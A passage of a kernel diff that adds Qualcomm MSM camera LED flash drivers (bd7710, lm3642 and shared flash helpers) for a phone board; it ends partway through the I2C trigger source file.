= MSM_CAMERA_I2C_BYTE_ADDR, + .data_type = MSM_CAMERA_I2C_BYTE_DATA, + .delay = 0, +}; + +static struct msm_camera_i2c_reg_setting adp1660_low_setting = { + .reg_setting = adp1660_low_array, + .size = ARRAY_SIZE(adp1660_low_array), + .addr_type = MSM_CAMERA_I2C_BYTE_ADDR, + .data_type = MSM_CAMERA_I2C_BYTE_DATA, + .delay = 0, +}; + +static struct msm_camera_i2c_reg_setting adp1660_high_setting = { + .reg_setting = adp1660_high_array, + .size = ARRAY_SIZE(adp1660_high_array), + .addr_type = MSM_CAMERA_I2C_BYTE_ADDR, + .data_type = MSM_CAMERA_I2C_BYTE_DATA, + .delay = 0, +}; + +static struct msm_led_flash_reg_t adp1660_regs = { + .init_setting = &adp1660_init_setting, + .off_setting = &adp1660_off_setting, + .low_setting = &adp1660_low_setting, + .high_setting = &adp1660_high_setting, + .release_setting = &adp1660_release_setting, +}; + +static struct msm_flash_fn_t adp1660_func_tbl = { + .flash_get_subdev_id = msm_led_i2c_trigger_get_subdev_id, + .flash_led_config = msm_led_i2c_trigger_config, + .flash_led_init = msm_flash_led_init, + .flash_led_release = msm_flash_led_release, + .flash_led_off = msm_flash_led_off, + .flash_led_low = msm_flash_led_low, + .flash_led_high = msm_flash_led_high, +}; + +static struct msm_led_flash_ctrl_t fctrl = { + .flash_i2c_client = &adp1660_i2c_client, + .reg_setting = &adp1660_regs, + .func_tbl = &adp1660_func_tbl, +}; + +/*subsys_initcall(msm_flash_i2c_add_driver);*/ +module_init(msm_flash_adp1660_init_module); +module_exit(msm_flash_adp1660_exit_module); +MODULE_DESCRIPTION("adp1660 FLASH"); +MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/bd7710.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/bd7710.c new file mode 100644 index 0000000000000..4e18537f9bf70 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/bd7710.c @@ -0,0 +1,209 @@ +/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + */ +#include +#include +#include "msm_led_flash.h" + +#define FLASH_NAME "rohm-flash,bd7710" + +/*#define CONFIG_MSMB_CAMERA_DEBUG*/ +#undef CDBG +#ifdef CONFIG_MSMB_CAMERA_DEBUG +#define CDBG(fmt, args...) pr_err(fmt, ##args) +#else +#define CDBG(fmt, args...) do { } while (0) +#endif + +static struct msm_led_flash_ctrl_t fctrl; +static struct i2c_driver bd7710_i2c_driver; + +static struct msm_camera_i2c_reg_array bd7710_init_array[] = { + {0x00, 0x10}, +}; + +static struct msm_camera_i2c_reg_array bd7710_off_array[] = { + {0x05, 0x00}, + {0x02, 0x00}, +}; + +static struct msm_camera_i2c_reg_array bd7710_release_array[] = { + {0x00, 0x00}, +}; + +static struct msm_camera_i2c_reg_array bd7710_low_array[] = { + {0x05, 0x25}, + {0x00, 0x38}, + {0x02, 0x40}, +}; + +static struct msm_camera_i2c_reg_array bd7710_high_array[] = { + {0x05, 0x25}, + {0x02, 0xBF}, +}; + +static void __exit msm_flash_bd7710_i2c_remove(void) +{ + i2c_del_driver(&bd7710_i2c_driver); + return; +} + +static const struct of_device_id bd7710_trigger_dt_match[] = { + {.compatible = "rohm-flash,bd7710", .data = &fctrl}, + {} +}; + +MODULE_DEVICE_TABLE(of, bd7710_trigger_dt_match); + +static const struct i2c_device_id flash_i2c_id[] = { + {"rohm-flash,bd7710", (kernel_ulong_t)&fctrl}, + { } +}; + +static const struct i2c_device_id bd7710_i2c_id[] = { + {FLASH_NAME, (kernel_ulong_t)&fctrl}, + { } +}; + +static int msm_flash_bd7710_i2c_probe(struct i2c_client *client, + const struct i2c_device_id *id) +{ + if (!id) { + pr_err("msm_flash_bd7710_i2c_probe: id is NULL"); + id = bd7710_i2c_id; + } + + return msm_flash_i2c_probe(client, id); +} + +static struct i2c_driver bd7710_i2c_driver = { + .id_table = bd7710_i2c_id, + .probe = msm_flash_bd7710_i2c_probe, + .remove = __exit_p(msm_flash_bd7710_i2c_remove), + .driver = { + .name = FLASH_NAME, + .owner = THIS_MODULE, + .of_match_table = bd7710_trigger_dt_match, + }, +}; + +static int msm_flash_bd7710_platform_probe(struct platform_device *pdev) +{ + const struct of_device_id *match; + + match = of_match_device(bd7710_trigger_dt_match, &pdev->dev); + if (!match) + return -EFAULT; + return msm_flash_probe(pdev, match->data); +} + +static struct platform_driver bd7710_platform_driver = { + .probe = msm_flash_bd7710_platform_probe, + .driver = { + .name = "rohm-flash,bd7710", + .owner = THIS_MODULE, + .of_match_table = bd7710_trigger_dt_match, + }, +}; + +static int __init msm_flash_bd7710_init_module(void) +{ + int32_t rc = 0; + + rc = platform_driver_register(&bd7710_platform_driver); + if (!rc) + return rc; + pr_debug("%s:%d rc %d\n", __func__, __LINE__, rc); + return i2c_add_driver(&bd7710_i2c_driver); +} + +static void __exit msm_flash_bd7710_exit_module(void) +{ + if (fctrl.pdev) + platform_driver_unregister(&bd7710_platform_driver); + else + i2c_del_driver(&bd7710_i2c_driver); +} + +static struct msm_camera_i2c_client bd7710_i2c_client = { + .addr_type = MSM_CAMERA_I2C_BYTE_ADDR, +}; + +static struct msm_camera_i2c_reg_setting bd7710_init_setting = { + .reg_setting = bd7710_init_array, + .size = ARRAY_SIZE(bd7710_init_array), + .addr_type = MSM_CAMERA_I2C_BYTE_ADDR, + .data_type = MSM_CAMERA_I2C_BYTE_DATA, + .delay = 0, +}; + +static struct msm_camera_i2c_reg_setting bd7710_off_setting = { + .reg_setting = bd7710_off_array, + .size = ARRAY_SIZE(bd7710_off_array), + .addr_type = MSM_CAMERA_I2C_BYTE_ADDR, + .data_type = MSM_CAMERA_I2C_BYTE_DATA, + .delay = 0, +}; + +static struct msm_camera_i2c_reg_setting bd7710_release_setting = { + .reg_setting = bd7710_release_array, + .size = ARRAY_SIZE(bd7710_release_array), + .addr_type = MSM_CAMERA_I2C_BYTE_ADDR, + .data_type = MSM_CAMERA_I2C_BYTE_DATA, + .delay = 0, +}; + +static struct msm_camera_i2c_reg_setting bd7710_low_setting = { + .reg_setting = bd7710_low_array, + .size = ARRAY_SIZE(bd7710_low_array), + .addr_type = MSM_CAMERA_I2C_BYTE_ADDR, + .data_type = MSM_CAMERA_I2C_BYTE_DATA, + .delay = 0, +}; + +static struct msm_camera_i2c_reg_setting bd7710_high_setting = { + .reg_setting = bd7710_high_array, + .size = ARRAY_SIZE(bd7710_high_array), + .addr_type = MSM_CAMERA_I2C_BYTE_ADDR, + .data_type = MSM_CAMERA_I2C_BYTE_DATA, + .delay = 0, +}; + +static struct msm_led_flash_reg_t bd7710_regs = { + .init_setting = &bd7710_init_setting, + .off_setting = &bd7710_off_setting, + .low_setting = &bd7710_low_setting, + .high_setting = &bd7710_high_setting, + .release_setting = &bd7710_release_setting, +}; + +static struct msm_flash_fn_t bd7710_func_tbl = { + .flash_get_subdev_id = msm_led_i2c_trigger_get_subdev_id, + .flash_led_config = msm_led_i2c_trigger_config, + .flash_led_init = msm_flash_led_init, + .flash_led_release = msm_flash_led_release, + .flash_led_off = msm_flash_led_off, + .flash_led_low = msm_flash_led_low, + .flash_led_high = msm_flash_led_high, +}; + +static struct msm_led_flash_ctrl_t fctrl = { + .flash_i2c_client = &bd7710_i2c_client, + .reg_setting = &bd7710_regs, + .func_tbl = &bd7710_func_tbl, +}; + +/*subsys_initcall(msm_flash_i2c_add_driver);*/ +module_init(msm_flash_bd7710_init_module); +module_exit(msm_flash_bd7710_exit_module); +MODULE_DESCRIPTION("bd7710 FLASH"); +MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/lm3642.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/lm3642.c new file mode 100755 index 0000000000000..adfabc68b5448 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/lm3642.c @@ -0,0 +1,398 @@ +/* Copyright (c) 2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + */ +#include +#include +#include +#include "msm_camera_io_util.h" +#include "msm_led_flash.h" + +#define FLASH_NAME "ti,lm3642" + +#define CONFIG_MSMB_CAMERA_DEBUG +#ifdef CONFIG_MSMB_CAMERA_DEBUG +#define LM3642_DBG(fmt, args...) pr_err(fmt, ##args) +#else +#define LM3642_DBG(fmt, args...) +#endif + + +static struct msm_led_flash_ctrl_t fctrl; +static struct i2c_driver lm3642_i2c_driver; + +static struct msm_camera_i2c_reg_array lm3642_init_array[] = { + {0x0A, 0x00}, + {0x08, 0x07}, + {0x09, 0x19}, +}; + +static struct msm_camera_i2c_reg_array lm3642_off_array[] = { + {0x0A, 0x00}, +}; + +static struct msm_camera_i2c_reg_array lm3642_release_array[] = { + {0x0A, 0x00}, +}; + +static struct msm_camera_i2c_reg_array lm3642_low_array[] = { + {0x0A, 0x22}, +}; + +static struct msm_camera_i2c_reg_array lm3642_high_array[] = { + {0x0A, 0x23}, +}; + + +static const struct of_device_id lm3642_i2c_trigger_dt_match[] = { + {.compatible = "ti,lm3642"}, + {} +}; + +MODULE_DEVICE_TABLE(of, lm3642_i2c_trigger_dt_match); +static const struct i2c_device_id lm3642_i2c_id[] = { + {FLASH_NAME, (kernel_ulong_t)&fctrl}, + { } +}; + +static void msm_led_torch_brightness_set(struct led_classdev *led_cdev, + enum led_brightness value) +{ + if (value > LED_OFF) { + if(fctrl.func_tbl->flash_led_low) + fctrl.func_tbl->flash_led_low(&fctrl); + } else { + if(fctrl.func_tbl->flash_led_off) + fctrl.func_tbl->flash_led_off(&fctrl); + } +}; + +static struct led_classdev msm_torch_led = { + .name = "torch-light", + .brightness_set = msm_led_torch_brightness_set, + .brightness = LED_OFF, +}; + +static int32_t msm_lm3642_torch_create_classdev(struct device *dev , + void *data) +{ + int rc; + msm_led_torch_brightness_set(&msm_torch_led, LED_OFF); + rc = led_classdev_register(dev, &msm_torch_led); + if (rc) { + pr_err("Failed to register led dev. rc = %d\n", rc); + return rc; + } + + return 0; +}; + +int msm_flash_lm3642_led_init(struct msm_led_flash_ctrl_t *fctrl) +{ + int rc = 0; + struct msm_camera_sensor_board_info *flashdata = NULL; + struct msm_camera_power_ctrl_t *power_info = NULL; + LM3642_DBG("%s:%d called\n", __func__, __LINE__); + + flashdata = fctrl->flashdata; + power_info = &flashdata->power_info; + + gpio_set_value_cansleep( + power_info->gpio_conf->gpio_num_info-> + gpio_num[SENSOR_GPIO_FL_NOW], + GPIO_OUT_LOW); + + if (fctrl->flash_i2c_client && fctrl->reg_setting) { + rc = fctrl->flash_i2c_client->i2c_func_tbl->i2c_write_table( + fctrl->flash_i2c_client, + fctrl->reg_setting->init_setting); + if (rc < 0) + pr_err("%s:%d failed\n", __func__, __LINE__); + } + return rc; +} + +int msm_flash_lm3642_led_release(struct msm_led_flash_ctrl_t *fctrl) +{ + int rc = 0; + struct msm_camera_sensor_board_info *flashdata = NULL; + struct msm_camera_power_ctrl_t *power_info = NULL; + + flashdata = fctrl->flashdata; + power_info = &flashdata->power_info; + LM3642_DBG("%s:%d called\n", __func__, __LINE__); + if (!fctrl) { + pr_err("%s:%d fctrl NULL\n", __func__, __LINE__); + return -EINVAL; + } + + gpio_set_value_cansleep( + power_info->gpio_conf->gpio_num_info-> + gpio_num[SENSOR_GPIO_FL_NOW], + GPIO_OUT_LOW); + if (fctrl->flash_i2c_client && fctrl->reg_setting) { + rc = fctrl->flash_i2c_client->i2c_func_tbl->i2c_write_table( + fctrl->flash_i2c_client, + fctrl->reg_setting->release_setting); + if (rc < 0) + pr_err("%s:%d failed\n", __func__, __LINE__); + } + return 0; +} + +int msm_flash_lm3642_led_off(struct msm_led_flash_ctrl_t *fctrl) +{ + int rc = 0; + struct msm_camera_sensor_board_info *flashdata = NULL; + struct msm_camera_power_ctrl_t *power_info = NULL; + + flashdata = fctrl->flashdata; + power_info = &flashdata->power_info; + LM3642_DBG("%s:%d called\n", __func__, __LINE__); + + if (!fctrl) { + pr_err("%s:%d fctrl NULL\n", __func__, __LINE__); + return -EINVAL; + } + + if (fctrl->flash_i2c_client && fctrl->reg_setting) { + rc = fctrl->flash_i2c_client->i2c_func_tbl->i2c_write_table( + fctrl->flash_i2c_client, + fctrl->reg_setting->off_setting); + if (rc < 0) + pr_err("%s:%d failed\n", __func__, __LINE__); + } + + gpio_set_value_cansleep( + power_info->gpio_conf->gpio_num_info-> + gpio_num[SENSOR_GPIO_FL_NOW], + GPIO_OUT_LOW); + + return rc; +} + +int msm_flash_lm3642_led_low(struct msm_led_flash_ctrl_t *fctrl) +{ + int rc = 0; + struct msm_camera_sensor_board_info *flashdata = NULL; + struct msm_camera_power_ctrl_t *power_info = NULL; + LM3642_DBG("%s:%d called\n", __func__, __LINE__); + + flashdata = fctrl->flashdata; + power_info = &flashdata->power_info; + + + gpio_set_value_cansleep( + power_info->gpio_conf->gpio_num_info-> + gpio_num[SENSOR_GPIO_FL_NOW], + GPIO_OUT_HIGH); + + if (fctrl->flash_i2c_client && fctrl->reg_setting) { + rc = fctrl->flash_i2c_client->i2c_func_tbl->i2c_write_table( + fctrl->flash_i2c_client, + fctrl->reg_setting->low_setting); + if (rc < 0) + pr_err("%s:%d failed\n", __func__, __LINE__); + } + + return rc; +} + +int msm_flash_lm3642_led_high(struct msm_led_flash_ctrl_t *fctrl) +{ + int rc = 0; + struct msm_camera_sensor_board_info *flashdata = NULL; + struct msm_camera_power_ctrl_t *power_info = NULL; + LM3642_DBG("%s:%d called\n", __func__, __LINE__); + + flashdata = fctrl->flashdata; + + power_info = &flashdata->power_info; + + gpio_set_value_cansleep( + power_info->gpio_conf->gpio_num_info-> + gpio_num[SENSOR_GPIO_FL_NOW], + GPIO_OUT_HIGH); + + if (fctrl->flash_i2c_client && fctrl->reg_setting) { + rc = fctrl->flash_i2c_client->i2c_func_tbl->i2c_write_table( + fctrl->flash_i2c_client, + fctrl->reg_setting->high_setting); + if (rc < 0) + pr_err("%s:%d failed\n", __func__, __LINE__); + } + + return rc; +} +static int msm_flash_lm3642_i2c_probe(struct i2c_client *client, + const struct i2c_device_id *id) +{ + struct msm_camera_sensor_board_info *flashdata = NULL; + struct msm_camera_power_ctrl_t *power_info = NULL; + int rc = 0 ; + LM3642_DBG("%s entry\n", __func__); + if (!id) { + pr_err("msm_flash_lm3642_i2c_probe: id is NULL"); + id = lm3642_i2c_id; + } + rc = msm_flash_i2c_probe(client, id); + + flashdata = fctrl.flashdata; + power_info = &flashdata->power_info; + + rc = msm_camera_request_gpio_table( + power_info->gpio_conf->cam_gpio_req_tbl, + power_info->gpio_conf->cam_gpio_req_tbl_size, 1); + if (rc < 0) { + pr_err("%s: request gpio failed\n", __func__); + return rc; + } + + if (fctrl.pinctrl_info.use_pinctrl == true) { + pr_err("%s:%d PC:: flash pins setting to active state", + __func__, __LINE__); + rc = pinctrl_select_state(fctrl.pinctrl_info.pinctrl, + fctrl.pinctrl_info.gpio_state_active); + if (rc) + pr_err("%s:%d cannot set pin to active state", + __func__, __LINE__); + } + + if (!rc) + msm_lm3642_torch_create_classdev(&(client->dev),NULL); + return rc; +} + +static int msm_flash_lm3642_i2c_remove(struct i2c_client *client) +{ + struct msm_camera_sensor_board_info *flashdata = NULL; + struct msm_camera_power_ctrl_t *power_info = NULL; + int rc = 0 ; + LM3642_DBG("%s entry\n", __func__); + flashdata = fctrl.flashdata; + power_info = &flashdata->power_info; + + rc = msm_camera_request_gpio_table( + power_info->gpio_conf->cam_gpio_req_tbl, + power_info->gpio_conf->cam_gpio_req_tbl_size, 0); + if (rc < 0) { + pr_err("%s: request gpio failed\n", __func__); + return rc; + } + + if (fctrl.pinctrl_info.use_pinctrl == true) { + rc = pinctrl_select_state(fctrl.pinctrl_info.pinctrl, + fctrl.pinctrl_info.gpio_state_suspend); + if (rc) + pr_err("%s:%d cannot set pin to suspend state", + __func__, __LINE__); + } + return rc; +} + + +static struct i2c_driver lm3642_i2c_driver = { + .id_table = lm3642_i2c_id, + .probe = msm_flash_lm3642_i2c_probe, + .remove = msm_flash_lm3642_i2c_remove, + .driver = { + .name = FLASH_NAME, + .owner = THIS_MODULE, + .of_match_table = lm3642_i2c_trigger_dt_match, + }, +}; + +static int __init msm_flash_lm3642_init(void) +{ + LM3642_DBG("%s entry\n", __func__); + return i2c_add_driver(&lm3642_i2c_driver); +} + +static void __exit msm_flash_lm3642_exit(void) +{ + LM3642_DBG("%s entry\n", __func__); + i2c_del_driver(&lm3642_i2c_driver); + return; +} + + +static struct msm_camera_i2c_client lm3642_i2c_client = { + .addr_type = MSM_CAMERA_I2C_BYTE_ADDR, +}; + +static struct msm_camera_i2c_reg_setting lm3642_init_setting = { + .reg_setting = lm3642_init_array, + .size = ARRAY_SIZE(lm3642_init_array), + .addr_type = MSM_CAMERA_I2C_BYTE_ADDR, + .data_type = MSM_CAMERA_I2C_BYTE_DATA, + .delay = 0, +}; + +static struct msm_camera_i2c_reg_setting lm3642_off_setting = { + .reg_setting = lm3642_off_array, + .size = ARRAY_SIZE(lm3642_off_array), + .addr_type = MSM_CAMERA_I2C_BYTE_ADDR, + .data_type = MSM_CAMERA_I2C_BYTE_DATA, + .delay = 0, +}; + +static struct msm_camera_i2c_reg_setting lm3642_release_setting = { + .reg_setting = lm3642_release_array, + .size = ARRAY_SIZE(lm3642_release_array), + .addr_type = MSM_CAMERA_I2C_BYTE_ADDR, + .data_type = MSM_CAMERA_I2C_BYTE_DATA, + .delay = 0, +}; + +static struct msm_camera_i2c_reg_setting lm3642_low_setting = { + .reg_setting = lm3642_low_array, + .size = ARRAY_SIZE(lm3642_low_array), + .addr_type = MSM_CAMERA_I2C_BYTE_ADDR, + .data_type = MSM_CAMERA_I2C_BYTE_DATA, + .delay = 0, +}; + +static struct msm_camera_i2c_reg_setting lm3642_high_setting = { + .reg_setting = lm3642_high_array, + .size = ARRAY_SIZE(lm3642_high_array), + .addr_type = MSM_CAMERA_I2C_BYTE_ADDR, + .data_type = MSM_CAMERA_I2C_BYTE_DATA, + .delay = 0, +}; + +static struct msm_led_flash_reg_t lm3642_regs = { + .init_setting = &lm3642_init_setting, + .off_setting = &lm3642_off_setting, + .low_setting = &lm3642_low_setting, + .high_setting = &lm3642_high_setting, + .release_setting = &lm3642_release_setting, +}; + +static struct msm_flash_fn_t lm3642_func_tbl = { + .flash_get_subdev_id = msm_led_i2c_trigger_get_subdev_id, + .flash_led_config = msm_led_i2c_trigger_config, + .flash_led_init = msm_flash_lm3642_led_init, + .flash_led_release = msm_flash_lm3642_led_release, + .flash_led_off = msm_flash_lm3642_led_off, + .flash_led_low = msm_flash_lm3642_led_low, + .flash_led_high = msm_flash_lm3642_led_high, +}; + +static struct msm_led_flash_ctrl_t fctrl = { + .flash_i2c_client = &lm3642_i2c_client, + .reg_setting = &lm3642_regs, + .func_tbl = &lm3642_func_tbl, +}; + +module_init(msm_flash_lm3642_init); +module_exit(msm_flash_lm3642_exit); +MODULE_DESCRIPTION("lm3642 FLASH"); +MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/msm_led_flash.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/msm_led_flash.c new file mode 100644 index 0000000000000..149d00cd8d362 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/msm_led_flash.c @@ -0,0 +1,120 @@ +/* Copyright (c) 2009-2013, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + */ + +#define pr_fmt(fmt) "%s:%d " fmt, __func__, __LINE__ + +#include "msm_led_flash.h" + +/*#define CONFIG_MSMB_CAMERA_DEBUG*/ +#undef CDBG +#ifdef CONFIG_MSMB_CAMERA_DEBUG +#define CDBG(fmt, args...) pr_err(fmt, ##args) +#else +#define CDBG(fmt, args...) do { } while (0) +#endif + +static long msm_led_flash_subdev_ioctl(struct v4l2_subdev *sd, + unsigned int cmd, void *arg) +{ + struct msm_led_flash_ctrl_t *fctrl = NULL; + void __user *argp = (void __user *)arg; + if (!sd) { + pr_err("sd NULL\n"); + return -EINVAL; + } + fctrl = v4l2_get_subdevdata(sd); + if (!fctrl) { + pr_err("fctrl NULL\n"); + return -EINVAL; + } + switch (cmd) { + case VIDIOC_MSM_SENSOR_GET_SUBDEV_ID: + return fctrl->func_tbl->flash_get_subdev_id(fctrl, argp); + case VIDIOC_MSM_FLASH_LED_DATA_CFG: + return fctrl->func_tbl->flash_led_config(fctrl, argp); + case MSM_SD_SHUTDOWN: + *(int *)argp = MSM_CAMERA_LED_RELEASE; + return fctrl->func_tbl->flash_led_config(fctrl, argp); + default: + pr_err_ratelimited("invalid cmd %d\n", cmd); + return -ENOIOCTLCMD; + } +} + +static struct v4l2_subdev_core_ops msm_flash_subdev_core_ops = { + .ioctl = msm_led_flash_subdev_ioctl, +}; + +static struct v4l2_subdev_ops msm_flash_subdev_ops = { + .core = &msm_flash_subdev_core_ops, +}; + +static const struct v4l2_subdev_internal_ops msm_flash_internal_ops; + +int32_t msm_led_flash_create_v4lsubdev(struct platform_device *pdev, void *data) +{ + struct msm_led_flash_ctrl_t *fctrl = + (struct msm_led_flash_ctrl_t *)data; + CDBG("Enter\n"); + + if (!fctrl) { + pr_err("fctrl NULL\n"); + return -EINVAL; + } + + /* Initialize sub device */ + v4l2_subdev_init(&fctrl->msm_sd.sd, &msm_flash_subdev_ops); + v4l2_set_subdevdata(&fctrl->msm_sd.sd, fctrl); + + fctrl->pdev = pdev; + fctrl->msm_sd.sd.internal_ops = &msm_flash_internal_ops; + fctrl->msm_sd.sd.flags |= V4L2_SUBDEV_FL_HAS_DEVNODE; + snprintf(fctrl->msm_sd.sd.name, ARRAY_SIZE(fctrl->msm_sd.sd.name), + "msm_flash"); + media_entity_init(&fctrl->msm_sd.sd.entity, 0, NULL, 0); + fctrl->msm_sd.sd.entity.type = MEDIA_ENT_T_V4L2_SUBDEV; + fctrl->msm_sd.sd.entity.group_id = MSM_CAMERA_SUBDEV_LED_FLASH; + fctrl->msm_sd.close_seq = MSM_SD_CLOSE_2ND_CATEGORY | 0x1; + msm_sd_register(&fctrl->msm_sd); + + CDBG("probe success\n"); + return 0; +} + +int32_t msm_led_i2c_flash_create_v4lsubdev(void *data) +{ + struct msm_led_flash_ctrl_t *fctrl = + (struct msm_led_flash_ctrl_t *)data; + CDBG("Enter\n"); + + if (!fctrl) { + pr_err("fctrl NULL\n"); + return -EINVAL; + } + + /* Initialize sub device */ + v4l2_subdev_init(&fctrl->msm_sd.sd, &msm_flash_subdev_ops); + v4l2_set_subdevdata(&fctrl->msm_sd.sd, fctrl); + + fctrl->msm_sd.sd.internal_ops = &msm_flash_internal_ops; + fctrl->msm_sd.sd.flags |= V4L2_SUBDEV_FL_HAS_DEVNODE; + snprintf(fctrl->msm_sd.sd.name, ARRAY_SIZE(fctrl->msm_sd.sd.name), + "msm_flash"); + media_entity_init(&fctrl->msm_sd.sd.entity, 0, NULL, 0); + fctrl->msm_sd.sd.entity.type = MEDIA_ENT_T_V4L2_SUBDEV; + fctrl->msm_sd.sd.entity.group_id = MSM_CAMERA_SUBDEV_LED_FLASH; + msm_sd_register(&fctrl->msm_sd); + + CDBG("probe success\n"); + return 0; +} diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/msm_led_flash.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/msm_led_flash.h new file mode 100644 index 0000000000000..d9c836e4f42f6 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/msm_led_flash.h @@ -0,0 +1,89 @@ +/* Copyright (c) 2009-2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + */ +#ifndef MSM_LED_FLASH_H +#define MSM_LED_FLASH_H + +#include +#include +#include +#include +#include +#include "msm_camera_i2c.h" +#include "msm_sd.h" + + +struct msm_led_flash_ctrl_t; + +struct msm_flash_fn_t { + int32_t (*flash_get_subdev_id)(struct msm_led_flash_ctrl_t *, void *); + int32_t (*flash_led_config)(struct msm_led_flash_ctrl_t *, void *); + int32_t (*flash_led_init)(struct msm_led_flash_ctrl_t *); + int32_t (*flash_led_release)(struct msm_led_flash_ctrl_t *); + int32_t (*flash_led_off)(struct msm_led_flash_ctrl_t *); + int32_t (*flash_led_low)(struct msm_led_flash_ctrl_t *); + int32_t (*flash_led_high)(struct msm_led_flash_ctrl_t *); +}; + +struct msm_led_flash_reg_t { + struct msm_camera_i2c_reg_setting *init_setting; + struct msm_camera_i2c_reg_setting *off_setting; + struct msm_camera_i2c_reg_setting *release_setting; + struct msm_camera_i2c_reg_setting *low_setting; + struct msm_camera_i2c_reg_setting *high_setting; +}; + +struct msm_led_flash_ctrl_t { + struct msm_camera_i2c_client *flash_i2c_client; + struct msm_sd_subdev msm_sd; + struct platform_device *pdev; + struct msm_flash_fn_t *func_tbl; + struct msm_camera_sensor_board_info *flashdata; + struct msm_led_flash_reg_t *reg_setting; + const char *flash_trigger_name[MAX_LED_TRIGGERS]; + struct led_trigger *flash_trigger[MAX_LED_TRIGGERS]; + uint32_t flash_op_current[MAX_LED_TRIGGERS]; + uint32_t flash_max_current[MAX_LED_TRIGGERS]; + const char *torch_trigger_name; + struct led_trigger *torch_trigger; + uint32_t torch_op_current; + uint32_t torch_max_current; + void *data; + uint32_t num_sources; + enum msm_camera_device_type_t flash_device_type; + enum cci_i2c_master_t cci_i2c_master; + enum msm_camera_led_config_t led_state; + uint32_t subdev_id; + struct msm_pinctrl_info pinctrl_info; +}; + +int msm_flash_i2c_probe(struct i2c_client *client, + const struct i2c_device_id *id); + +int msm_flash_probe(struct platform_device *pdev, const void *data); + +int32_t msm_led_flash_create_v4lsubdev(struct platform_device *pdev, + void *data); +int32_t msm_led_i2c_flash_create_v4lsubdev(void *data); + +int32_t msm_led_i2c_trigger_get_subdev_id(struct msm_led_flash_ctrl_t *fctrl, + void *arg); + +int32_t msm_led_i2c_trigger_config(struct msm_led_flash_ctrl_t *fctrl, + void *data); + +int msm_flash_led_init(struct msm_led_flash_ctrl_t *fctrl); +int msm_flash_led_release(struct msm_led_flash_ctrl_t *fctrl); +int msm_flash_led_off(struct msm_led_flash_ctrl_t *fctrl); +int msm_flash_led_low(struct msm_led_flash_ctrl_t *fctrl); +int msm_flash_led_high(struct msm_led_flash_ctrl_t *fctrl); +#endif diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/msm_led_i2c_trigger.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/msm_led_i2c_trigger.c new file mode 100644 index 0000000000000..4b8a448345549 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/flash/msm_led_i2c_trigger.c @@ -0,0 +1,729 @@ +/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + */ + +#define pr_fmt(fmt) "%s:%d " fmt, __func__, __LINE__ + +#include +#include +#include "msm_led_flash.h" +#include "msm_camera_io_util.h" +#include "../msm_sensor.h" +#include "msm_led_flash.h" +#include "../cci/msm_cci.h" +#include + +#define FLASH_NAME "camera-led-flash" +#define CAM_FLASH_PINCTRL_STATE_SLEEP "cam_flash_suspend" +#define CAM_FLASH_PINCTRL_STATE_DEFAULT "cam_flash_default" +/*#define CONFIG_MSMB_CAMERA_DEBUG*/ +#undef CDBG +#ifdef CONFIG_MSMB_CAMERA_DEBUG +#define CDBG(fmt, args...) pr_err(fmt, ##args) +#else +#define CDBG(fmt, args...) do { } while (0) +#endif + +int32_t msm_led_i2c_trigger_get_subdev_id(struct msm_led_flash_ctrl_t *fctrl, + void *arg) +{ + uint32_t *subdev_id = (uint32_t *)arg; + if (!subdev_id) { + pr_err("failed\n"); + return -EINVAL; + } + *subdev_id = fctrl->subdev_id; + + CDBG("subdev_id %d\n", *subdev_id); + return 0; +} + +int32_t msm_led_i2c_trigger_config(struct msm_led_flash_ctrl_t *fctrl, + void *data) +{ + int rc = 0; + struct msm_camera_led_cfg_t *cfg = (struct msm_camera_led_cfg_t *)data; + CDBG("called led_state %d\n", cfg->cfgtype); + + if (!fctrl->func_tbl) { + pr_err("failed\n"); + return -EINVAL; + } + switch (cfg->cfgtype) { + + case 